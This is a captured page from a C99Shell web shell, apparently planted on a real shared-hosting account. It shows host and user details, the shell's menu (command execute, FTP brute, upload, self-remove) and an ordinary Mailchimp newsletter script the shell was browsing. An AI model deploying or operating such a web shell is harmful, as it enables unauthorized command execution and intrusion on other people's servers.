!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/php/   drwxr-xr-x
Free 236.31 GB of 981.82 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     newsletter-subscribe.php (1.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
Name:             Newsletter Subscribe
Written by:     Okler Themes - (http://www.okler.net)
Theme Version:    7.5.0
*/

include('./mailchimp/mailchimp.php'); 

use \
DrewM\MailChimp\MailChimp;

// Step 1 - Set the apiKey - How get your Mailchimp API KEY - http://kb.mailchimp.com/article/where-can-i-find-my-api-key
$apiKey     '11111111111111111111111111111111-us4';

// Step 2 - Set the listId - How to get your Mailchimp LIST ID - http://kb.mailchimp.com/article/how-can-i-find-my-list-id
$listId     '1111111111';

if (isset(
$_POST['email'])) {
    
$email $_POST['email'];
} else if (isset(
$_GET['email'])) {
    
$email $_GET['email'];
} else {
    
$email '';
}

$MailChimp = new MailChimp($apiKey);

$result $MailChimp->post('lists/' $listId '/members', array(
    
'email_address' => $email,
    
'merge_fields'  => array('FNAME'=>'''LNAME'=>''), // Step 3 (Optional) - Vars - More Information - http://kb.mailchimp.com/merge-tags/using/getting-started-with-merge-tags
    
'status'         => 'subscribed'
));

if (
$result['id'] != '') {
    
$arrResult = array('response'=>'success');    
} else {
    
$arrResult = array('response'=>'error','message'=>$result['detail']);
}

echo 
json_encode($arrResult);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2911 ]--